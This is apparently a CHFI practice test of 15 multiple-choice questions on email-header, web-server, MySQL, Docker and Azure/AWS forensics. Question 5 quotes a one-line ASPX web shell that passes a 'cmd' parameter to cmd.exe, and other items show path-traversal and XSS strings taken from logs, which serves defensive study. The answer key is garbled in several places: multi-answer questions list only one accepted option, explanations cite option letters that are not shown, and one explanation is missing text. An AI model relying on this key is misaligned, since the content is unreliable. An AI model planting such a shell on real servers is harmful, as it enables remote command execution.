CHFI Application, Email and Cloud Forensics Practice Test 9 — 15 Questions

Question 1

Which of the following email authentication protocols uses a digital signature to verify the sender's domain and that the email has not been tampered with?

Accepted Answer

DKIM. DKIM (DomainKeys Identified Mail) is the correct answer because it uses a digital signature (an encrypted hash) added to the email header, which is verified against a public key published in the sender's DNS TXT record. This cryptographic process confirms that the email originated from the claimed domain and that the message body and key headers have not been altered in transit, ensuring integrity and authenticity.

Answer

DMARC

Answer

SPF

Answer

STARTTLS

Question 2

A forensic analyst is examining Azure Activity Logs for signs of privilege escalation. Which TWO of the following activities would be MOST indicative of an attacker attempting to escalate privileges? (Choose two.)

Accepted Answer

Creation of a custom RBAC role with Owner permissions. Option C is correct because creating a custom RBAC role that includes Owner-level permissions (for example, wildcard actions like "*" or "Microsoft.Authorization/*/write") is a classic privilege-escalation technique — the attacker grants themselves or an accomplice full control over a scope without using a built-in role, which is exactly the kind of activity a forensic analyst should flag. Option D is correct because adding a user to the Global Administrator role is a direct, high-impact elevation to the highest privileged directory role in Microsoft Entra ID, granting full control over all Azure subscriptions and tenant resources, and is one of the most reliable indicators of attempted privilege escalation. Option A is not indicative because users changing their own password is a routine self-service action that does not change their authorization level. Option B is not indicative because deleting a resource group is a destructive/impact action, not an escalation of privileges. Option E is not indicative because accessing a storage account the user already owns is normal, authorized activity within their existing permissions.

Answer

A user updating their own password

Answer

Deleting a resource group

Answer

A user accessing a storage account they own

Question 3

During a forensic analysis of a compromised web server, an investigator identifies the following log entries. Which THREE entries are the strongest indicators of a successful web shell upload? (Choose three.)

Accepted Answer

POST /upload.php HTTP/1.1 200 0. Successful uploads of aspx or php files that contain web shell code (e.g., with cmd parameter) and subsequent access to those files are strong indicators. The 404 for cmd.exe indicates a path traversal attempt, not a web shell.

Answer

GET /../../windows/system32/cmd.exe HTTP/1.1 404 - -

Answer

GET /images/logo.png HTTP/1.1 304 - -

Question 4

An investigator is analyzing email headers and notices the following: The 'Received' headers show a path through multiple servers, the 'DKIM-Signature' domain matches the sender domain, and 'X-Originating-IP' is present. Which TWO pieces of information are MOST useful to trace the original sender's IP address? (Choose two.)

Accepted Answer

The X-Originating-IP header value. The X-Originating-IP header (D) is the most direct artifact for tracing the sender, because it is typically inserted by the originating webmail or client and records the actual public IP address from which the message was submitted. The bottommost Received header (E) is also critical, since Received headers are prepended as the message traverses each hop, so the last (bottommost) entry reflects the earliest server that accepted the message and its connecting IP, which is closest to the true origin. Together, D and E let an investigator correlate the claimed client IP with the first-hop server's observed source address. The Message-ID (A) is only a unique identifier generated by the sending system and contains no routable IP information. The From header (B) is trivially spoofable and only shows a claimed address, not the transmission source. The DKIM-Signature d= domain (C) identifies the signing domain for authentication but does not reveal the sender's IP address.

Answer

The 'Message-ID' header

Answer

The 'From' header email address

Answer

The DKIM-Signature's 'd=' domain

Question 5

During a forensic investigation of a compromised web server, you find a file named 'cmd.aspx' in the uploads directory. The file contains: <%@ Page Language="C#" %><% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c "+Request.QueryString["cmd"])).StandardOutput.ReadToEnd(); %>. What is the most likely purpose of this file?

Accepted Answer

It is a webshell used for remote command execution. This is a webshell that executes arbitrary operating system commands via the 'cmd' query parameter. It allows remote command execution on the server.

Answer

It is a database connection string

Answer

It is a legitimate ASP.NET application page for server management

Answer

It is a cross-site scripting payload

Question 6

In MySQL forensics, which log file is most commonly used to detect unauthorized data exfiltration or changes to database records?

Accepted Answer

Binary log. The binary log is the correct choice because it records all changes to database data and structure (e.g., INSERT, UPDATE, DELETE, CREATE, ALTER) in a binary format that can be replayed for point-in-time recovery. In MySQL forensics, this log is the primary source for detecting unauthorized data exfiltration or modifications, as it captures the exact SQL statements or row changes that altered the database, along with timestamps and server IDs. Unlike other logs, the binary log is specifically designed to track every write operation, making it indispensable for reconstructing malicious activity.

Answer

Slow query log

Answer

General query log

Answer

Error log

Question 7

Which email header field is specifically used to verify that an email was not tampered with during transit and is signed by the sender's domain?

Accepted Answer

DKIM-Signature. The DKIM-Signature header field is the correct answer because it provides a cryptographic signature that allows the receiver to verify that the email was not altered in transit and that it originated from the claimed domain. DKIM (DomainKeys Identified Mail) uses public-key cryptography, where the sender's domain publishes a public key in DNS, and the sending server signs the email with the corresponding private key. This ensures both integrity and domain-level authentication, directly matching the question's requirement.

Answer

X-Originating-IP

Answer

Message-ID

Answer

Received

Question 8

An investigator needs to parse and analyze a Microsoft Outlook personal folders file (.pst). Which tool is specifically designed for this purpose?

Accepted Answer

Aid4Mail. Aid4Mail is a forensic email analysis tool that can parse Outlook PST files, among other formats, and extract metadata, attachments, and headers.

Answer

FTK Imager

Answer

Wireshark

Answer

Sleuth Kit

Question 9

In cloud forensics, which AWS service provides a centralized log of API calls made by users and services, often used to investigate unauthorized access or configuration changes?

Accepted Answer

AWS CloudTrail. AWS CloudTrail records all API calls for governance, compliance, and operational auditing, making it essential for forensic investigations in AWS.

Answer

AWS CloudWatch

Answer

AWS Config

Answer

AWS VPC Flow Logs

Question 10

A forensic analyst is examining a Docker container that was used to launch a DDoS attack. Which layer of a Docker image is most likely to contain the attacker's malicious scripts?

Accepted Answer

The topmost writable container layer. Docker images consist of read-only layers. The topmost writable layer (container layer) holds changes made at runtime, such as installing tools or scripts. The attack scripts would be in this layer.

Answer

The overlay filesystem layer

Answer

The volume mounted from the host

Answer

The base image layer

Question 11

Which of the following is a primary challenge in cloud forensics due to shared infrastructure?

Accepted Answer

Multi-tenancy and data comingling. Multi-tenancy means multiple customers share the same physical resources. This complicates evidence isolation and can lead to data comingling, making forensic acquisition difficult.

Answer

Slow internet speeds

Answer

Lack of logging capabilities

Answer

Inability to perform network analysis

Question 12

An analyst finds the following string in an IIS log: %3Cscript%3Ealert('XSS')%3C/script%3E. What does this indicate?

Accepted Answer

A cross-site scripting (XSS) attempt. The string is URL-encoded HTML/JavaScript (). It is a typical cross-site scripting payload attempting to execute in a browser.

Answer

A SQL injection attempt

Answer

A buffer overflow attempt

Answer

A path traversal attempt

Question 13

Which tool is specifically designed to extract metadata from email messages, including tracking the route and identifying the originating IP address?

Accepted Answer

EmailTracker. EmailTracker is a tool that analyzes email headers to trace the path and identify the source IP, often used in email forensics.

Answer

Wireshark

Answer

MailXaminer

Answer

Outlook

Question 14

In an email header, an analyst notices the following: 'Received: from mail.attacker.com (192.168.2.100) by mail.victim.com (Postfix) with ESMTP id ABC123 for <user@victim.com>; ...'. The 'From' address appears as 'ceo@victim.com'. Which type of attack is most likely?

Accepted Answer

Email spoofing. The email claims to be from 'ceo@victim.com' but was received from 'mail.attacker.com', indicating the sender forged the From address. This is email spoofing.

Answer

Man-in-the-middle

Answer

Malware attachment

Answer

Phishing

Question 15

Which cloud service's audit logs would an investigator examine to identify who deleted a virtual machine in an Azure subscription?

Accepted Answer

Azure Activity Log. Azure Activity Log (formerly known as Audit Logs or Operational Logs) is the platform-level log that records all control-plane operations for Azure resources, including virtual machine creation, modification, and deletion. When a VM is deleted, the Activity Log captures the caller (user or service principal), the timestamp, the operation name (e.g., 'Microsoft.Compute/virtualMachines/delete'), and the status. An investigator would query the Activity Log to identify who initiated the deletion, making option B correct.

Answer

GCP Audit Logs

Answer

Azure AD Sign-in Logs

Answer

AWS CloudTrail